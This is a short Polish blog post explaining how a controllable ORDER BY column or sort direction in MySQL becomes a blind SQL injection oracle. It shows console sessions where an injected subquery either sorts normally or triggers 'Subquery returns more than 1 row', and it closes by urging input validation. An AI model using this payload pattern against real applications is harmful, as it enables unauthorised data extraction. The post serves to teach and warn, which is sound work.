Paweł Goleń, blog

Na początek środowisko:

mysql> SELECT * FROM test; 
+------+------+------+ 
| a | b | c |
+------+------+------+ 
| 1 | 1 | 1 |
| 2 | 1 | 1 | 
| 2 | 3 | 1 | 
| 2 | 3 | 4 | 
+------+------+------+ 
4 rows in set (0.00 sec)

mysql> SELECT * FROM test ORDER BY a ASC; 
+------+------+------+ 
| a | b | c | 
+------+------+------+ 
| 1 | 1 | 1 |
| 2 | 1 | 1 |
| 2 | 3 | 1 |
| 2 | 3 | 4 | 
+------+------+------+ 
4 rows in set (0.00 sec)

Załóżmy, że mogę kontrolować nazwę kolumny (w przykładzie powyższym jest to a). Zwykle spróbowałbym w to miejsce wstawić coś w postaci SELECT 1/0 WHERE 1=1 i SELECT 1/0 WHERE 1=0. Niestety, w przypadku MySQL to nie zadziała. Zamiast kulturalnie zgłosić błąd dzielenia przez 0, MySQL robi tak:

mysql> SELECT 1/0; 
+------+ 
| 1/0 | 
+------+ 
| NULL | 
+------+

Trzeba więc szukać innego rozwiązania. Okazuje się, że nie jest ono wcale takie trudne:

mysql> SELECT * FROM test ORDER BY (SELECT 1 FROM test WHERE 1=0) ASC; 
+------+------+------+ 
| a | b | c | 
+------+------+------+ 
| 1 | 1 | 1 |
| 2 | 1 | 1 |
| 2 | 3 | 1 |
| 2 | 3 | 4 | 
+------+------+------+ 
4 rows in set (0.00 sec)

mysql> SELECT * FROM test ORDER BY (SELECT 1 FROM test WHERE 1=1) ASC; 
ERROR 1242 (21000): Subquery returns more than 1 row 

Zastępując 1=1 i 1=0 jakimś sensownym warunkiem otrzymujemy śliczne Blind SQL Injection.

A co, gdy mogę kontrolować kierunek sortowania? W MySQL można sortować po wielu kolumnach, więc idąc po najmniejszej linii oporu skorzystać można dokładnie z tej samej techniki:

mysql> SELECT * FROM test ORDER BY a ASC, (SELECT 1 FROM test WHERE 1=0); 
+------+------+------+ 
| a | b | c | 
+------+------+------+ 
| 1 | 1 | 1 |
| 2 | 1 | 1 |
| 2 | 3 | 1 |
| 2 | 3 | 4 | 
+------+------+------+ 
4 rows in set (0.00 sec)

mysql> SELECT * FROM test ORDER BY a ASC, (SELECT 1 FROM test WHERE 1=1);
ERROR 1242 (21000): Subquery returns more than 1 row

Jak całość przekłada się na aplikacje internetową? Jeśli zapytanie jest prawidłowe i zwraca dane, są one normalnie wyświetlane na stronie. W przypadku, gdy zapytanie jest nieprawidłowe, może być różnie. Może wyświetlić się pusta formatka, lub na przykład pojawić się błąd 500 serwera. Nie ważne co się dzieje, ważne, by można było rozróżnić stan true (1=1) od false (1=0), a dalej to już z górki.

Prawda, że proste? Zresztą ten sposób działa nie tylko w MySQL... Tak więc kolejny przykład, że brak walidacji jest ZŁY! Zawsze.